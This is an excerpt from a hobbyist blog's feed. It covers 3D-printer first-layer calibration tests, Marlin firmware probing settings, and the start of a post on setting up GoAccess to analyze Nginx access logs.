&lt;p&gt;I checked the extrusion multiplier to verify the extrusion coefficient is correct, and turns out it wasn't. Even when the first layer is printed correctly all others in this case would be under-extruded.&lt;/p&gt;
&lt;table border="1" class="docutils align-center"&gt;
&lt;caption&gt;Print test #3. Click on the image for higher resolution&lt;/caption&gt;
&lt;colgroup&gt;
&lt;col width="15%" /&gt;
&lt;col width="85%" /&gt;
&lt;/colgroup&gt;
&lt;tbody valign="top"&gt;
&lt;tr&gt;&lt;td&gt;Top&lt;/td&gt;
&lt;td&gt;&lt;a class="first last reference external image-reference" href="/images/2020-02-18/large_003_t.jpg"&gt;&lt;img alt="print #3 top" src="/images/2020-02-18/003_t.jpg" /&gt;&lt;/a&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Bottom&lt;/td&gt;
&lt;td&gt;&lt;a class="first last reference external image-reference" href="/images/2020-02-18/large_003_b.jpg"&gt;&lt;img alt="print #3 bottom" src="/images/2020-02-18/003_b.jpg" /&gt;&lt;/a&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;div class="section" id="section-4"&gt;
&lt;h3&gt;#4&lt;/h3&gt;
&lt;p&gt;Increased extrusion multiplier to 1.14&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;Nozzle temperature: 220&lt;/li&gt;
&lt;li&gt;Extrusion multiplier: 1.14&lt;/li&gt;
&lt;li&gt;Nozzle height: slightly lower than on previous print&lt;/li&gt;
&lt;li&gt;Print speed:  15 mm/s^2&lt;/li&gt;
&lt;li&gt;First layer width: 0.45&lt;/li&gt;
&lt;li&gt;Part cooling fan 1st layer: 0%&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The waves seem to ripple, which is slightly worse then the previous print, but the edges of the print are more clean. I'll try several tweaks: decrease temperature by 5C, decrease extrusion multiplier slightly to 1.1 and increase nozzle height tiny bit.&lt;/p&gt;
&lt;p&gt;I'll increase print speed to note any decrease in quality.&lt;/p&gt;
&lt;table border="1" class="docutils align-center"&gt;
&lt;caption&gt;Print test #4. Click on the image for higher resolution&lt;/caption&gt;
&lt;colgroup&gt;
&lt;col width="15%" /&gt;
&lt;col width="85%" /&gt;
&lt;/colgroup&gt;
&lt;tbody valign="top"&gt;
&lt;tr&gt;&lt;td&gt;Top&lt;/td&gt;
&lt;td&gt;&lt;a class="first last reference external image-reference" href="/images/2020-02-18/large_004_t.jpg"&gt;&lt;img alt="print #4 top" src="/images/2020-02-18/004_t.jpg" /&gt;&lt;/a&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Bottom&lt;/td&gt;
&lt;td&gt;&lt;a class="first last reference external image-reference" href="/images/2020-02-18/large_004_b.jpg"&gt;&lt;img alt="print #4 bottom" src="/images/2020-02-18/004_b.jpg" /&gt;&lt;/a&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;div class="section" id="section-5"&gt;
&lt;h3&gt;#5&lt;/h3&gt;
&lt;p&gt;This improved things slightly, the ripples are smaller but they are still present.&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;Nozzle temperature: 215&lt;/li&gt;
&lt;li&gt;Extrusion multiplier: 1.1&lt;/li&gt;
&lt;li&gt;Nozzle height: slightly higher than on previous print (1/16 of a turn)&lt;/li&gt;
&lt;li&gt;Print speed:  25 mm/s^2&lt;/li&gt;
&lt;li&gt;First layer width: 0.45&lt;/li&gt;
&lt;li&gt;Part cooling fan 1st layer: 0%&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;For the next print, I'll bring the temperature up, decrease the print speed slightly and see if this does anything.&lt;/p&gt;
&lt;table border="1" class="docutils align-center"&gt;
&lt;caption&gt;Print test #5. Click on the image for higher resolution&lt;/caption&gt;
&lt;colgroup&gt;
&lt;col width="15%" /&gt;
&lt;col width="85%" /&gt;
&lt;/colgroup&gt;
&lt;tbody valign="top"&gt;
&lt;tr&gt;&lt;td&gt;Top&lt;/td&gt;
&lt;td&gt;&lt;a class="first last reference external image-reference" href="/images/2020-02-18/large_005_t.jpg"&gt;&lt;img alt="print #5 top" src="/images/2020-02-18/005_t.jpg" /&gt;&lt;/a&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Bottom&lt;/td&gt;
&lt;td&gt;&lt;a class="first last reference external image-reference" href="/images/2020-02-18/large_005_b.jpg"&gt;&lt;img alt="print #5 bottom" src="/images/2020-02-18/005_b.jpg" /&gt;&lt;/a&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;div class="section" id="section-6"&gt;
&lt;h3&gt;#6&lt;/h3&gt;
&lt;p&gt;This print doesn't tell me anything as point X-axis got stuck during print.&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;Nozzle temperature: 220&lt;/li&gt;
&lt;li&gt;Extrusion multiplier: 1.1&lt;/li&gt;
&lt;li&gt;Nozzle height: no change&lt;/li&gt;
&lt;li&gt;Print speed:  20 mm/s^2&lt;/li&gt;
&lt;li&gt;First layer width: 0.45&lt;/li&gt;
&lt;li&gt;Part cooling fan 1st layer: 0%&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Lubricating rods and bearings on the axis fixed the problem. I'll attempt print with the same settings.&lt;/p&gt;
&lt;table border="1" class="docutils align-center"&gt;
&lt;caption&gt;Print test #6. Click on the image for higher resolution&lt;/caption&gt;
&lt;colgroup&gt;
&lt;col width="15%" /&gt;
&lt;col width="85%" /&gt;
&lt;/colgroup&gt;
&lt;tbody valign="top"&gt;
&lt;tr&gt;&lt;td&gt;Top&lt;/td&gt;
&lt;td&gt;&lt;a class="first last reference external image-reference" href="/images/2020-02-18/large_006_t.jpg"&gt;&lt;img alt="print #6 top" src="/images/2020-02-18/006_t.jpg" /&gt;&lt;/a&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Bottom&lt;/td&gt;
&lt;td&gt;&lt;a class="first last reference external image-reference" href="/images/2020-02-18/large_006_b.jpg"&gt;&lt;img alt="print #6 bottom" src="/images/2020-02-18/006_b.jpg" /&gt;&lt;/a&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;div class="section" id="section-7"&gt;
&lt;h3&gt;#7&lt;/h3&gt;
&lt;p&gt;This is slightly better, but I mostly run out of variables I can change for the print to make it any better.&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;Nozzle temperature: 220&lt;/li&gt;
&lt;li&gt;Extrusion multiplier: 1.1&lt;/li&gt;
&lt;li&gt;Nozzle height: increase nozzle height&lt;/li&gt;
&lt;li&gt;Print speed:  20 mm/s^2&lt;/li&gt;
&lt;li&gt;First layer width: 0.45&lt;/li&gt;
&lt;li&gt;Part cooling fan 1st layer: 0%&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;I'm going to try turning on part cooling fan, event though it's not recommended for the first layer due to the issues with adhesion, but I want to see how this will affect extrusion width.&lt;/p&gt;
&lt;table border="1" class="docutils align-center"&gt;
&lt;caption&gt;Print test #7. Click on the image for higher resolution&lt;/caption&gt;
&lt;colgroup&gt;
&lt;col width="15%" /&gt;
&lt;col width="85%" /&gt;
&lt;/colgroup&gt;
&lt;tbody valign="top"&gt;
&lt;tr&gt;&lt;td&gt;Top&lt;/td&gt;
&lt;td&gt;&lt;a class="first last reference external image-reference" href="/images/2020-02-18/large_007_t.jpg"&gt;&lt;img alt="print #7 top" src="/images/2020-02-18/007_t.jpg" /&gt;&lt;/a&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Bottom&lt;/td&gt;
&lt;td&gt;&lt;a class="first last reference external image-reference" href="/images/2020-02-18/large_007_b.jpg"&gt;&lt;img alt="print #7 bottom" src="/images/2020-02-18/007_b.jpg" /&gt;&lt;/a&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;div class="section" id="section-8"&gt;
&lt;h3&gt;#8&lt;/h3&gt;
&lt;p&gt;Set part cooling fan to 20%&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;Nozzle temperature: 220&lt;/li&gt;
&lt;li&gt;Extrusion multiplier: 1.1&lt;/li&gt;
&lt;li&gt;Nozzle height: no change&lt;/li&gt;
&lt;li&gt;Print speed:  20 mm/s^2&lt;/li&gt;
&lt;li&gt;First layer width: 0.45&lt;/li&gt;
&lt;li&gt;Part cooling fan 1st layer: 20%&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This is slightly better. Now I'm going to turn off part cooling fan to see if anything else changed between the prints. To verify consistency of the results.&lt;/p&gt;
&lt;table border="1" class="docutils align-center"&gt;
&lt;caption&gt;Print test #8. Click on the image for higher resolution&lt;/caption&gt;
&lt;colgroup&gt;
&lt;col width="15%" /&gt;
&lt;col width="85%" /&gt;
&lt;/colgroup&gt;
&lt;tbody valign="top"&gt;
&lt;tr&gt;&lt;td&gt;Top&lt;/td&gt;
&lt;td&gt;&lt;a class="first last reference external image-reference" href="/images/2020-02-18/large_008_t.jpg"&gt;&lt;img alt="print #8 top" src="/images/2020-02-18/008_t.jpg" /&gt;&lt;/a&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Bottom&lt;/td&gt;
&lt;td&gt;&lt;a class="first last reference external image-reference" href="/images/2020-02-18/large_008_b.jpg"&gt;&lt;img alt="print #8 bottom" src="/images/2020-02-18/008_b.jpg" /&gt;&lt;/a&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;div class="section" id="section-9"&gt;
&lt;h3&gt;#9&lt;/h3&gt;
&lt;p&gt;Turned off the fan for the first layer&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;Nozzle temperature: 220&lt;/li&gt;
&lt;li&gt;Extrusion multiplier: 1.1&lt;/li&gt;
&lt;li&gt;Nozzle height: no change&lt;/li&gt;
&lt;li&gt;Print speed:  20 mm/s^2&lt;/li&gt;
&lt;li&gt;First layer width: 0.45&lt;/li&gt;
&lt;li&gt;Part cooling fan 1st layer: 0%&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Nothing conclusive I'll try to raise the nozzle a bit and see if that does anything.&lt;/p&gt;
&lt;table border="1" class="docutils align-center"&gt;
&lt;caption&gt;Print test #9. Click on the image for higher resolution&lt;/caption&gt;
&lt;colgroup&gt;
&lt;col width="15%" /&gt;
&lt;col width="85%" /&gt;
&lt;/colgroup&gt;
&lt;tbody valign="top"&gt;
&lt;tr&gt;&lt;td&gt;Top&lt;/td&gt;
&lt;td&gt;&lt;a class="first last reference external image-reference" href="/images/2020-02-18/large_009_t.jpg"&gt;&lt;img alt="print #9 top" src="/images/2020-02-18/009_t.jpg" /&gt;&lt;/a&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Bottom&lt;/td&gt;
&lt;td&gt;&lt;a class="first last reference external image-reference" href="/images/2020-02-18/large_009_b.jpg"&gt;&lt;img alt="print #9 bottom" src="/images/2020-02-18/009_b.jpg" /&gt;&lt;/a&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;div class="section" id="section-10"&gt;
&lt;h3&gt;#10&lt;/h3&gt;
&lt;p&gt;Raised the nozzle.&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;Nozzle temperature: 220&lt;/li&gt;
&lt;li&gt;Extrusion multiplier: 1.1&lt;/li&gt;
&lt;li&gt;Nozzle height: raise the nozzle&lt;/li&gt;
&lt;li&gt;Print speed:  20 mm/s^2&lt;/li&gt;
&lt;li&gt;First layer width: 0.45&lt;/li&gt;
&lt;li&gt;Part cooling fan 1st layer: 0%&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This print is OK-ish but it is similar to #8, I'll try raising the nozzle again, maybe a little extra space will make first layer perfect&lt;/p&gt;
&lt;table border="1" class="docutils align-center"&gt;
&lt;caption&gt;Print test #10. Click on the image for higher resolution&lt;/caption&gt;
&lt;colgroup&gt;
&lt;col width="15%" /&gt;
&lt;col width="85%" /&gt;
&lt;/colgroup&gt;
&lt;tbody valign="top"&gt;
&lt;tr&gt;&lt;td&gt;Top&lt;/td&gt;
&lt;td&gt;&lt;a class="first last reference external image-reference" href="/images/2020-02-18/large_010_t.jpg"&gt;&lt;img alt="print #10 top" src="/images/2020-02-18/010_t.jpg" /&gt;&lt;/a&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Bottom&lt;/td&gt;
&lt;td&gt;&lt;a class="first last reference external image-reference" href="/images/2020-02-18/large_010_b.jpg"&gt;&lt;img alt="print #10 bottom" src="/images/2020-02-18/010_b.jpg" /&gt;&lt;/a&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;div class="section" id="section-11"&gt;
&lt;h3&gt;#11&lt;/h3&gt;
&lt;p&gt;Raise the nozzle again as this seems to be the only variable I haven't tweaked yet&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;Nozzle temperature: 220&lt;/li&gt;
&lt;li&gt;Extrusion multiplier: 1.1&lt;/li&gt;
&lt;li&gt;Nozzle height: raise the nozzle&lt;/li&gt;
&lt;li&gt;Print speed:  20 mm/s^2&lt;/li&gt;
&lt;li&gt;First layer width: 0.45&lt;/li&gt;
&lt;li&gt;Part cooling fan 1st layer: 0%&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;There is too much room in the center of the print causing the layers to go bulge and split this is a lot of worse that #10 and I've raised the nozzle way too far.&lt;/p&gt;
&lt;table border="1" class="docutils align-center"&gt;
&lt;caption&gt;Print test #11. Click on the image for higher resolution&lt;/caption&gt;
&lt;colgroup&gt;
&lt;col width="15%" /&gt;
&lt;col width="85%" /&gt;
&lt;/colgroup&gt;
&lt;tbody valign="top"&gt;
&lt;tr&gt;&lt;td&gt;Top&lt;/td&gt;
&lt;td&gt;&lt;a class="first last reference external image-reference" href="/images/2020-02-18/large_011_t.jpg"&gt;&lt;img alt="print #11 top" src="/images/2020-02-18/011_t.jpg" /&gt;&lt;/a&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Bottom&lt;/td&gt;
&lt;td&gt;&lt;a class="first last reference external image-reference" href="/images/2020-02-18/large_011_b.jpg"&gt;&lt;img alt="print #11 bottom" src="/images/2020-02-18/011_b.jpg" /&gt;&lt;/a&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class="section" id="conclusions"&gt;
&lt;h2&gt;Conclusions&lt;/h2&gt;
&lt;p&gt;In my case there is no easy fix and a random article on the internet about how to fix the first layer on your printer might not be considering my particular case, but these articles are useful as an example of different sample problems.&lt;/p&gt;
&lt;p&gt;Other things to try to fix the issue:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;The bed is bent in the middle (to many nozzle crashed into it one too many times. INstall a new bed and fix probe that it no longer crashes into bed because I didn't put any springs between heated bed to y-axis carrier. That made the bed more susceptible to deformation.&lt;/li&gt;
&lt;li&gt;Slow down probing speed and increase number of probing points from 4 to 5. That might help with some inaccuracies. This turned out to be thing that fixed the issue.&lt;/li&gt;
&lt;li&gt;There also might be an issue with nozzle clogging and bubbling PLA.&lt;/li&gt;
&lt;li&gt;Experiment with creating and loading custom bed mesh. But in this case I will still have to deal with the problem of having really uneven bottom surface of a part.&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
</content><category term="3d-printing"></category><category term="3d printing"></category><category term="troubleshooting"></category></entry><entry><title>Fixing the first print layer when usual tweaks don't work</title><link href="https://flamy.ca/blog/2020-03-22-fixing-the-first-print-layer-when-usual-tweaks-dont-work.html" rel="alternate"></link><published>2020-03-22T00:00:00-04:00</published><updated>2020-03-22T00:00:00-04:00</updated><author><name>Alex Volkov</name></author><id>tag:flamy.ca,2020-03-22:/blog/2020-03-22-fixing-the-first-print-layer-when-usual-tweaks-dont-work.html</id><summary type="html">&lt;div class="section" id="intro"&gt;
&lt;h2&gt;Intro&lt;/h2&gt;
&lt;p&gt;A while a go I built 2 Prusa clones following Tom's 3D guide on building cheapest possible Prusa i3 MK2 &lt;a class="footnote-reference" href="#footnote-1" id="footnote-reference-1"&gt;[1]&lt;/a&gt;. I learned some problem solving working with electronics and physical material, but it is much easier, faster and cheaper to just get a Prusa Kit.&lt;/p&gt;
&lt;p&gt;In my system …&lt;/p&gt;&lt;/div&gt;</summary><content type="html">&lt;div class="section" id="intro"&gt;
&lt;h2&gt;Intro&lt;/h2&gt;
&lt;p&gt;A while a go I built 2 Prusa clones following Tom's 3D guide on building cheapest possible Prusa i3 MK2 &lt;a class="footnote-reference" href="#footnote-1" id="footnote-reference-1"&gt;[1]&lt;/a&gt;. I learned some problem solving working with electronics and physical material, but it is much easier, faster and cheaper to just get a Prusa Kit.&lt;/p&gt;
&lt;p&gt;In my system I use 3.0mm thick Prusa MK3-style aluminum heated bed covered with kapton tape and a Finglai LJ2A3-2-Z/BX-5V inductive probe.&lt;/p&gt;
&lt;img alt="Finglai probe mounted to the hotend" class="align-center" src="/images/2020-03-15/005_hotend_probe.jpg" /&gt;
&lt;p&gt;I have reworked my printer a few times swapping parts here and there, but one problem that I kept encountering, is really inconsistent first layer when printing common materials like PLA or ABS,  except PETG. PETG will stick to anything.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="the-test"&gt;
&lt;h2&gt;The test&lt;/h2&gt;
&lt;p&gt;I designed a rectangle in OpenSCAD 40mmx80mmx0.4mm, single-layer height square, which area is large enough to manifest the problem the printer was having.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;cube(size[40, 80, 0.4], center=true);
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Here how this shape looks before print in Prusa Slicer.&lt;/p&gt;
&lt;div class="figure align-center"&gt;
&lt;img alt="A preview of a sliced rectangular print model in Prusa Slicer" src="/images/2020-03-15/004_prusa_slic3r_model.png" /&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class="section" id="the-problem"&gt;
&lt;h2&gt;The Problem&lt;/h2&gt;
&lt;p&gt;Here is an example of inconsistent first layer, this is one of the better prints that I came out.&lt;/p&gt;
&lt;table border="1" class="docutils"&gt;
&lt;colgroup&gt;
&lt;col width="7%" /&gt;
&lt;col width="93%" /&gt;
&lt;/colgroup&gt;
&lt;tbody valign="top"&gt;
&lt;tr&gt;&lt;td&gt;Top&lt;/td&gt;
&lt;td&gt;&lt;a class="first last reference external image-reference" href="/images/2020-03-15/001_bad_print_t_large.jpg"&gt;&lt;img alt="Top of the print with inconsistent first layer" src="/images/2020-03-15/001_bad_print_t.jpg" /&gt;&lt;/a&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Bottom&lt;/td&gt;
&lt;td&gt;&lt;a class="first last reference external image-reference" href="/images/2020-03-15/001_bad_print_b_large.jpg"&gt;&lt;img alt="Bottom of the print with inconsistent first layer" src="/images/2020-03-15/001_bad_print_b.jpg" /&gt;&lt;/a&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Since the first layer is deformed like that, the extra print material will propagate through the layers and would ruin otherwise perfectly good print.&lt;/p&gt;
&lt;p&gt;One day I decided to finally fix the problem by using all the common solutions: like tweaking layer height, extrusion temperature and extrusion width. None of that worked.&lt;/p&gt;
&lt;p&gt;Besides a random mechanical issue that I might not have noticed, the only other variable I didn't test was my custom Marlin configuration. My customizations for Marlin 1.1.8 for my 3D printers &lt;a class="footnote-reference" href="#footnote-2" id="footnote-reference-2"&gt;[2]&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="the-apparent-solution"&gt;
&lt;h2&gt;The apparent solution&lt;/h2&gt;
&lt;p&gt;Tried slowing down moves in each direction and it turned out that one of the variables was causing the problem.&lt;/p&gt;
&lt;p&gt;Homing federate was set too fast so the inductive probe would trigger after the nozzle moved way too close to the bed. This affected both initial probing and mesh bed leveling. I might have noticed this earlier as sometimes nozzle would ping the bed in some areas  during mesh bed leveling.&lt;/p&gt;
&lt;p&gt;The 'fast' feedrate was set to &lt;cite&gt;15*60mm/s&lt;/cite&gt; and the slow was half of that. I set 'fast' speed to &lt;cite&gt;7*60mm/s&lt;/cite&gt; and increased the number of probing attempts from 2 (1 fast, 1 slow attempt, save the results from slow attempt) to 3 (an average of 3 slow attempts).&lt;/p&gt;
&lt;p&gt;Here is relevant documentation from Configuration.h file in Marlin 1.1.8&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="c1"&gt;//   The number of probes to perform at each point.&lt;/span&gt;
&lt;span class="c1"&gt;//   Set to 2 for a fast/slow probe, using the second probe result.&lt;/span&gt;
&lt;span class="c1"&gt;//   Set to 3 or more for slow probes, averaging the results.&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Here are all relevant definitions I updated in Configuration.h&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="cp"&gt;#define HOMING_FEEDRATE_Z  (7*60)&lt;/span&gt;
&lt;span class="cp"&gt;#define Z_PROBE_SPEED_SLOW (Z_PROBE_SPEED_FAST / 1.5)&lt;/span&gt;
&lt;span class="cp"&gt;#define MULTIPLE_PROBING 3&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Note that &lt;strong&gt;Z_PROBE_SPEED_FAST&lt;/strong&gt; variable becomes irrelevant when MULTIPLE_PROBING is set to greater than two, as in this case only slow probing is performed. Effectively Z_PROBE_SPEED_SLOW in this configuration is 280mm/s&lt;/p&gt;
&lt;p&gt;I also increased the number of mesh probing points from 4 to 5. At this point I'm not entirely sure it makes enough difference to be useful, but I'll run tests on it in the future.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="cp"&gt;#define GRID_MAX_POINTS_X 5&lt;/span&gt;
&lt;span class="cp"&gt;#define GRID_MAX_POINTS_Y GRID_MAX_POINTS_X&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class="section" id="the-results"&gt;
&lt;h2&gt;The results&lt;/h2&gt;
&lt;p&gt;Here is the print that came out after probing speed has been adjusted.&lt;/p&gt;
&lt;table border="1" class="docutils"&gt;
&lt;colgroup&gt;
&lt;col width="7%" /&gt;
&lt;col width="93%" /&gt;
&lt;/colgroup&gt;
&lt;tbody valign="top"&gt;
&lt;tr&gt;&lt;td&gt;Top&lt;/td&gt;
&lt;td&gt;&lt;a class="first last reference external image-reference" href="/images/2020-03-15/002_fixed_top_large.jpg"&gt;&lt;img alt="Test print, top layer" src="/images/2020-03-15/002_fixed_top.jpg" /&gt;&lt;/a&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Bottom&lt;/td&gt;
&lt;td&gt;&lt;a class="first last reference external image-reference" href="/images/2020-03-15/002_fixed_bottom_large.jpg"&gt;&lt;img alt="Test print, bottom layer" src="/images/2020-03-15/002_fixed_bottom.jpg" /&gt;&lt;/a&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Apart from the slight defects inherited because of the state of the bed this is a perfect first layer.&lt;/p&gt;
&lt;p&gt;Heres the orientation of the print still attached to the bed.&lt;/p&gt;
&lt;img alt="Test print still in the printer." class="align-center" src="/images/2020-03-15/003_printed_part.jpg" /&gt;
&lt;/div&gt;
&lt;div class="section" id="conclusions"&gt;
&lt;h2&gt;Conclusions&lt;/h2&gt;
&lt;p&gt;When the usual methods of fixing the first layer settings are ineffective, consider looking at printer firmware settings if those settings where changed in the past.&lt;/p&gt;
&lt;p&gt;I'm going to look for a way of having a journal of all firmware and print setting updates. Also taking pictures and writing notes for each significant print. This might be worth the effort to fix several issues with my printer.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="references"&gt;
&lt;h2&gt;References&lt;/h2&gt;
&lt;table class="docutils footnote" frame="void" id="footnote-1" rules="none"&gt;
&lt;colgroup&gt;&lt;col class="label" /&gt;&lt;col /&gt;&lt;/colgroup&gt;
&lt;tbody valign="top"&gt;
&lt;tr&gt;&lt;td class="label"&gt;[1]&lt;/td&gt;&lt;td&gt;&lt;a class="reference external" href="https://toms3d.org/2017/02/23/building-cheapest-possible-prusa-i3-mk2/"&gt;Tom's 3d printing guides and reviews |  Building the cheapest possible Prusa i3 MK2&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;table class="docutils footnote" frame="void" id="footnote-2" rules="none"&gt;
&lt;colgroup&gt;&lt;col class="label" /&gt;&lt;col /&gt;&lt;/colgroup&gt;
&lt;tbody valign="top"&gt;
&lt;tr&gt;&lt;td class="label"&gt;[2]&lt;/td&gt;&lt;td&gt;&lt;a class="reference external" href="https://github.com/avolkov/dolly-marlin/"&gt;My Marlin Configs for Dolly i3&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
</content><category term="3d-printing"></category><category term="3d printing"></category><category term="troubleshooting"></category></entry><entry><title>GoAccess as google analytics replacement</title><link href="https://flamy.ca/blog/2020-03-13-goaccess-as-google-analytics-replacement.html" rel="alternate"></link><published>2020-03-13T00:00:00-04:00</published><updated>2020-03-13T00:00:00-04:00</updated><author><name>Alex Volkov</name></author><id>tag:flamy.ca,2020-03-13:/blog/2020-03-13-goaccess-as-google-analytics-replacement.html</id><summary type="html">&lt;div class="section" id="intro"&gt;
&lt;h2&gt;Intro&lt;/h2&gt;
&lt;p&gt;Since removing google analytics from my blog a few months ago, I kept looking for a tool that would give me some idea who is reading my blog while respecting visitor's privacy.&lt;/p&gt;
&lt;p&gt;I have found that tool and it is GoAccess.&lt;/p&gt;
&lt;div class="figure align-center"&gt;
&lt;img alt="Side-by-side view of GoAccess TUI and web interface" src="/images/2020-03-04/003-goaccess-combined.png" /&gt;
&lt;/div&gt;
&lt;p&gt;GoAccess is an open-source web analytics tool that …&lt;/p&gt;&lt;/div&gt;</summary><content type="html">&lt;div class="section" id="intro"&gt;
&lt;h2&gt;Intro&lt;/h2&gt;
&lt;p&gt;Since removing google analytics from my blog a few months ago, I kept looking for a tool that would give me some idea who is reading my blog while respecting visitor's privacy.&lt;/p&gt;
&lt;p&gt;I have found that tool and it is GoAccess.&lt;/p&gt;
&lt;div class="figure align-center"&gt;
&lt;img alt="Side-by-side view of GoAccess TUI and web interface" src="/images/2020-03-04/003-goaccess-combined.png" /&gt;
&lt;/div&gt;
&lt;p&gt;GoAccess is an open-source web analytics tool that has text-based (TUI) and single page web-based user interfaces.  It is shipped with any linux distro &lt;a class="footnote-reference" href="#footnote-1" id="footnote-reference-1"&gt;[1]&lt;/a&gt; including all of the debian releases &lt;a class="footnote-reference" href="#footnote-2" id="footnote-reference-2"&gt;[2]&lt;/a&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="installation-and-basic-usage"&gt;
&lt;h2&gt;Installation and basic usage&lt;/h2&gt;
&lt;p&gt;GoAccess is installed with the following command.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;# apt install goaccess
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Installing GeoIP database will give additional stats on regional breakdown of incoming requests.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;# apt install geoip-database
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;I use Nginx as a static server and I'm interested in analyzing access log files. The log file in question is under 'server' section.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="k"&gt;access_log&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="s"&gt;/var/log/nginx/flamy_ca.access.log&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;For more details on setting up nginx, see &lt;strong&gt;Nginx config&lt;/strong&gt; section under 'Moving pelican blog to own server' article &lt;a class="footnote-reference" href="#footnote-3" id="footnote-reference-3"&gt;[3]&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Opening an access_log file with goaccess command will give statistics for the day -- from midnight until now.&lt;/p&gt;
&lt;p&gt;You need to be root or belong to the group 'adm' in debian to be able to read the logs.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;# goaccess /var/log/nginx/flamy_ca.access.log
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;That produces nice summary of site visitors, requested files, referring sites etc.&lt;/p&gt;
&lt;div class="figure align-center"&gt;
&lt;img alt="Sample goAccess TUI view" src="/images/2020-03-04/001-goaccess-tui.png" /&gt;
&lt;/div&gt;
